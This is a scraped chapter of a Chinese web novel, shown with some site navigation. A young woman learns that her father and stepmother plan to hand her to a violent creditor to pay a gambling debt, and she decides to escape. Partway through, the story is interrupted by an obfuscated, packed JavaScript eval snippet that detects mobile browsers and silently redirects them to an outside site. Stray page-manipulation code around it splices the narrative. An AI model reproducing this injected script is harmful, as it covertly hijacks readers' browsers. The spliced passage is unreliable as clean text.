默认冷灰
24号文字
方正启体

2. 砸

作者:少地瓜本书字数:K更新时间:
    “小点声,大半夜的,也不怕邻居听见了笑话。”明德福恼羞成怒道。


    “你还怕笑话?!唔唔……”似乎被捂了嘴,王秀云的声音迅速变得含糊不清,“足足二百两啊!你拿什么还!”


    再次确认这个数字,明月也不禁倒吸凉气,然后与明德福一起陷入长久的沉默。


    早年生意好时倒也罢了,可如今?


    心急的明月悄悄下地,掀开最靠近正房的窗子,把半个脑袋探出去听。


    半晌,才听明德福嗡声嗡气道:“这不是跟你商议吗?”


    “商议个屁!”王秀云几近疯魔,抬手砸了什么东西,“赌之前怎么不跟我商议?你这是要逼我们娘俩去死啊!”


    至于明月?前头老婆生的赔钱货,关她什么事儿!


    “我才跟你享了几天福?如今家里哪还有钱!拿什么还,拿命吗?”


    自知理亏的明德福不吭声。


    王秀云两腿乱蹬继续发疯,“你欠谁的账不好,偏去招惹牛大胆!那是本地有名的泼皮无赖,还跟衙门的班头称兄道弟,莫说赖账的,便是亲爹亲娘都敢动手,前头打死了两个老婆……”


    牛大胆,正是明德福常去的那家赌坊东家。


    明月一颗心沉到谷底。


    焦头烂额之际,王秀云的声音却忽然低了下去。


    她似乎想到了什么。


    “你可是有主意了?”明德福急切问道。


    王秀云没说话,取而代之的是一阵细微的悉悉索索:她在穿鞋下炕,她要出来!


    明月立刻缩回头,关窗、上炕、装睡,迅捷无声。


    院子不大,两屋相隔有限,明月急促的呼吸尚未平复,房门便吱呀一声开了,伴着凉风卷进来一句幽幽的“月亮?”


    活似寒夜里伺机而动的妖魔,令人毛骨悚然。


    这间屋子本是库房,只能从外头锁,后来明月搬进来,想法子在门内弄了个门栓,奈何被明德福撒酒疯时砸断了,还没来得及换新的。


    “月亮?”王秀云疑心颇重,又轻轻叫了声,踮起脚尖来到炕头,借着朦胧的月色瞄,目光中流露出浓烈的、粘腻的恶意。


    明月发出两声含糊的哼哼,与所有快被吵醒的睡客一样。


    王秀云松了口气,原地站了许久才悄然退去。


    明月一动不动。


    又过了会儿,门外才有微不可闻的脚步声渐渐远去。


    刚才王秀云一直没走。


    直到正房那边再次隐隐传来刻意压低的女声,明月才重新下炕。


    常言道,做贼心虚,王秀云这样提防自己,一定有鬼,明月必须偷听,好提前准备应对。


    这次王秀云的声音更低了,明月很难听清。


    房门开关声极大,必会打草惊蛇,她一咬牙,干脆从窗子爬出去,蹲到正房窗户底下听。


    怕对方发现,挪动的速度难免慢了些,等明月凑到墙边再次听清对方说话时,已错过开头。


    “你疯了?!”明德福罕见的有些震惊。


    王秀云反问:“不然银子从哪儿来?”


    “铺子和里头的货……”迟疑的声音表明明德福自己也不情愿,只等王秀云反对呢。


    “以后呢,都喝西北风去?”王秀云果冷冷嗤笑。


    压的货可以出一出,但铺面绝对不能动!


    如今确实买卖不济,可哪怕日后把铺子租出去呢,好歹每月有个进项,不至于饿死。若连这点指望都没了,不如现在一根绳子吊死。


    明德福闷闷道,“传出去叫人家戳我脊梁骨……”


    王秀云将眉毛一竖,“大点儿怎么了?年纪大点会疼人!牛大胆手里那么大的买卖呢,上头又没有公公婆婆,过去就能当家作主,穿金戴银吃香喝辣的,还有比这更好的亲事吗?”


    她已意识到这是个千载难逢的机会,把继女彻底从家里撵出去的好机会。


    那个丫头主意太大,心也太野了,才多大点儿啊,竟就妄图插手店里的买卖,呸!这是要跟我儿子抢家业呢!


    不行,绝对不行!


    “他前头打死了两个老婆。”到了这会儿,明德福消失已久的父爱竟奇迹般的复苏了一点。


    一点而已。


    比起女儿的终身,他更在意的是左邻右舍会怎么说他?


    “浪子回头金不换嘛!婚姻大事最讲究缘分,前头两个都不是正缘,也是没奈何的事,且他整日与你作耍,我瞧未必没有这个意思。”亲爹都没良心了,后娘更不必忌讳,王秀云振振有词道,“虽说名头不大好听,可名头不当吃不当穿的,成亲过日子都要落在实处才好。真要论起来,那牛大胆也算咱们镇上一号人物,若果然成就好事,之前的债务一笔勾销自不必说,你这个泰山老丈人也有了依靠,还怕外人欺负?到时候也不用辛苦做买卖,专等女婿孝敬罢了……”


    哪儿有逼老丈人还钱的道理呢?


    怕只怕人家牛大胆不稀罕!人牙子手里一个平头正脸的好丫头才要一两银子呢,你家什么闺女啊,敢卖二百两?


    明德福的脑袋渐渐混沌起来。


    还不上赌债,万一牛大胆打上门呢?


    二百两啊!


    那丫头整日说什么经营、买卖的,口口声声为父分忧,如今不正是好机会?


    况且白天,对了,那死丫头还冲自己吆五喝六的,真是翅膀硬了!


    窗外的明月脑中嗡嗡作响,胸中怒火狂烧,恨不得立刻冲进去揪着明德福的衣领子狠狠扇几个嘴巴子,出出这些年的恶气,再戳着他的天灵盖质问他究竟怎么想的。


    王秀云是后娘不假,你可是我亲爹啊!竟想把我送给打死过两个老婆的老恶棍抵账?!


    但凡他还有一点儿为人父的良知,就该在王秀云提议的第一声断然回绝!


    他该死的心动了!


    王秀云可恶,然明德福更可恨。


    虎毒不食子啊!


    明月恨不得咬碎一口银牙,不断告诫自己要冷静。


    再等等,似乎有一道声音使她心怀侥幸,等等吧,万一,万一爹……


    可惜,没有,什么都没有。


    有风声,风吹树杈摆动声,邻居家狗子的呜呜声,明月自己的呼吸声,唯独没有明德福坚定拒绝的声音。


    早就料到了,不是吗?


    她再也不会对那个被称为父亲的人抱有一丝期望了。


    狂风吹得外头枯树嘎吱作响,摇摆的树影落在纸窗上,像极了张牙舞爪的魔。重新躺回炕上的明月心烦意乱,彻底没了睡意。


    嫁是绝对不能嫁的,该怎么办才好呢?


    报官?求邻居?


    别说这事儿如今还没落定,外人要笑话自己瞎担心,即便落定了,父母之命、媒妁之言,谁还能为自己平白得罪人不成?


    至于亲友……娘那边的近亲早死绝了,爹这边的素来狼狈为奸,想都不用想。


    明月烦躁地翻了个身,脑海中闪电般炸开一个前所未有的念头:跑!


    这个主意甫一出现便春日野草般疯长,伴着明月狂烈的心跳一起肆意蔓延,最终占据了她的全部心神。


    是啊,为什么要等人来救呢?


    靠山山倒,靠人人跑,我要自救。


    跑吧!


    王秀云既起了这样的念头,此次不成也会有下次,她不可靠,滥赌的明德福更不可信,留下唯有死路一条。


    树挪死,人挪活,朱婶子说当年娘十来岁就出门闯荡了,我是娘唯一的骨血,有什么理由胆怯?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602317|172028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听闻江南丝绸极盛,地方又繁华,遍地金银,多有一夜暴富者,不如就去闯一闯!


    可铺子……


    不对,当断不断,反受其乱,只要明德福活着一日,我就不可能真正成为话事人。


    明月眼底划过一抹决绝,深深地吸了口气,再缓缓吐出来,虚空中似乎看到娘早已模糊的脸。


    如果您还在,也一定会催我离开的吧?


    您不说话,就是答应了。


    至于本钱……哼哼!


    次日一早,明德福照例出门,不知去铺子还是找牛大胆勾连。


    王秀云伺候宝贝儿子起来,亲自去摸了鲜鸡蛋蒸嫩嫩的鸡蛋羹,还点了两滴金灿灿的香油,颤巍巍的馋人。


    “耀宗啊,快趁热吃,娘送你去私塾,别再迟了。”


    那小畜生扭着身子哼唧,两只脚在地上搓来搓去,“我不读书,天天背书烦死了,我要吃糖人,啊啊啊我不去!”


    说着就往地上一躺,王八戏水似的四肢乱舞起来。


    王秀云伸手拽他,冷不防被踢了几脚,登时大怒,进屋抓了扫帚疙瘩就打,“吃吃吃,天天就知道吃,吃个屁的糖人,老娘看你才像糖人!”


    快十岁的半大人了,竟连《三字经》都背不下来,日后还能指望他给自己挣诰命?


    想到这里,王秀云忍不住往东厢房瞥了眼,又嫉又恨。要是能把那死丫头片子的脑瓜子挪到耀宗身上就好了……


    明耀宗被打得嗷嗷叫,眼泪鼻涕抹了一脸,这才抽抽噎噎吃鸡蛋羹。


    真香。


    王秀云叉腰喘气,“不知好歹的小王八羔子,老娘辛辛苦苦是为了谁!”


    明耀宗早被惯坏了,离了扫帚就忘了疼,正端碗舔底下残留的香油呢,听了这话立刻哼哼唧唧回道:“兔崽子是兔子娘养的,狗崽子是狗娘养的,我是王八羔子,你就是王八娘,嘿嘿……啊!”


    王秀云又给他一顿打,眼见明月推门出来才停手。


    明耀宗一抹脸,举起碗冲她炫耀,“可好吃了,哈哈,野丫头没有!”


    王秀云一把捂住他的嘴,假笑敷衍,“他还小,不懂事,月亮你别往心里去。”


    类似的把戏日日上演,明月瞧也不瞧,自己去井边打水洗脸。


    早上的井水很冰,往脸上一泼,明月马上哆嗦着精神了,连带着脑海中的计划越加清晰:


    稍后王秀云必会送小畜生上学,但私塾离家不远,她很快就会回来,自己恐怕来不及收拾东西跑……对了,明德福!


    平时两人就这么不对付,王秀云瞧不出半点异常,越发笃定昨晚上她没听见,眼珠一转又笑道:“你弟弟读书呢,日后做了官,给你这个当姐姐的撑腰……夫子也说得补。”


    明月翻个白眼,心道,夫子还说他蠢如猪,也没见你杀了吃肉。


    还做官?这种货色若能做官,猪都能上树了!


    久不见回应,王秀云亦觉无趣,转头送儿子去学堂,眨眼便回,眼珠不错地盯着明月,生怕她跑了。


    正翻草料喂骡子的明月冷笑,“你还是不了解我爹。”


    王秀云一怔,“啥?”


    明月慢悠悠道:“赌鬼做梦都想翻本,只会越赌越大,你以为他一大早出门做什么去了?手头银子输净,再拿什么赌?”


    拿什么赌?王秀云突然想到什么,扭头冲进屋里翻箱倒柜,不消片刻便煞白着脸冲出来。


    房契没了!


    大意了,她只沉浸在算计继女的窃喜中,却忘了一点:明德福是个没心肝的东西,能坑亲闺女,又怎么会管他们的死活?


    此时王秀云哪里还顾得上盯明月,嗷嗷叫着,抓起烧火棍直奔赌坊而去。


    明月目送她远去,转头就把家里的锁全砸了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)